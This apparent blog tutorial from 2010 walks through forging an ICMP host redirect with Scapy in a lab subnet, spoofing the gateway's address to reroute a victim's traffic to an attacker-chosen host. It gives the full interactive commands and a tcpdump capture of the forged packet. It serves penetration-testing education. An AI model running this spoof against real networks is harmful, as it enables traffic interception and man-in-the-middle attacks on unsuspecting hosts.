Friday, June 4, 2010

Better spoofing of ICMP host redirect messages with Scapy

Scapy is a packet crafting tool written in Python that offers very fine-grained OSI layer 2, 3, and 4 control of header fields.   Scapy will do some things for you automatically if you don't fill in all of the fields in any specific header.   Examples of this might be the IP total length field, IP version number, TCP or UDP length fields, and checksum values.

Unlike Hping, when Scapy is used to send ICMP redirects, it does a fine job of calculating all additional fields correct and filling in all required checksums to make things happen correctly.    For people familiar with software development, and detailed packet header information, Scapy is an ideal tool.

I used an Ubuntu system to test Scapy out for ICMP redirect activity, obtaining it as follows: "sudo apt-get install python-scapy".

In this scenario, our legitimate router gateway is 192.168.128.2, and our victim/target host is 192.168.128.128.   We are going to spoof an ICMP redirect for the /32 host route 10.1.1.1, redirecting that address to the new gateway of 192.168.128.136.

After installing scapy, we will run as root to ensure that we can craft packets from the attacker's ethernet interface.   Along the way, we will instantiate different objects representing the various layer 3 and 4 headers that we require.   In this case, we require an IP datagram, with ICMP as well as another IP payload to be delivered inside the ICMP payload.

Welcome to Scapy (2.0.0.5 beta)
>>> ip=IP()
>>> ip.src='192.168.128.2'
>>> ip.dst='192.168.128.128'
>>> ip.display
<bound method IP.display of < ip  src=192.168.128.2 dst=192.168.128.128 |>>

Now, we go forward and set the ICMP parameters as follows, type=5 for redirect, and code=1 for host, and then set the gateway destination.

>>> icmp=ICMP()
>>> icmp.type=5
>>> icmp.code=1
>>> icmp.gw='192.168.128.136'
>>> icmp.display
<bound method ICMP.display of <icmp  type=redirect code=1 gw=192.168.128.136 |>>>
>>> icmp.display()
###[ ICMP ]###
  type= redirect
  code= 1
  chksum= 0x0
  gw= 192.168.128.136


I deliberately used two different methods for displaying the ICMP object properties to illustrate that you can display either the full header or only the modified fields.

At this stage, we need to create the payload of the ICMP packet itself.  This is important because the IP destination address is what becomes the route table host entry when the redirect is sent to the victim. We will set the IP source address within the ICMP payload to be the victim host address since this "would have been" the originator of the packet that elicited the ICMP redirect in a legitimate situation.

>>> ip2=IP()
>>> ip2.src='192.168.128.128'
>>> ip2.dst='10.1.1.1'
>>> ip2.display
<bound method IP.display of <IP  src=192.168.128.128 dst=10.1.1.1 |>>


The layer 4 portion of the ICMP payload can be anything we like.  In this example, we will use Scapy's UDP() method which defaults to looking a lot like a DNS header.   Since the defaults are pretty good, we don't need to use a Scapy variable.   We can send out our ICMP datagram because it is now fully assembled!

>>> send(ip/icmp/ip2/UDP())
.
Sent 1 packets.
>>>

When packet crafting for research or especially penetration testing work, you should always have 'tcpdump' running and at minimum displaying packet data, if not writing it to disk:

sudo tcpdump -ennvvX -i eth0 -s1514 'icmp'
[sudo] password for deadlist:
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 1514 bytes
08:55:19.971914 00:0c:29:e3:3f:d3 > 00:0c:29:4d:99:8f, ethertype IPv4 (0x0800), length 70: (tos 0x0, ttl 64, id 1, offset 0, flags [none], proto ICMP (1), length 56)
    192.168.128.2 > 192.168.128.128: ICMP redirect 10.1.1.1 to host 192.168.128.136, length 36
    (tos 0x0, ttl 64, id 1, offset 0, flags [none], proto UDP (17), length 28)
    192.168.128.128.53 > 10.1.1.1.53: [udp sum ok] [|domain]
    0x0000:  4500 0038 0001 0000 4001 f8f0 c0a8 8002  E..8....@.......
    0x0010:  c0a8 8080 0501 0612 c0a8 8088 4500 001c  ............E...
    0x0020:  0001 0000 4011 2ea6 c0a8 8080 0a01 0101  ....@...........
    0x0030:  0035 0035 0008 b349                      .5.5...I

And there we have it folks!   Scapy is a fascinating tool for exploring all sorts of packet crafting ideas and because it's Python, you can have lots of fun scripting things to your heart's content.

1 comment:

xiaohui said...

I tried

>>> icmp.gw='1.2.3.4'
Traceback (most recent call last):
File "", line 1, in
AttributeError: 'int' object has no attribute 'gw'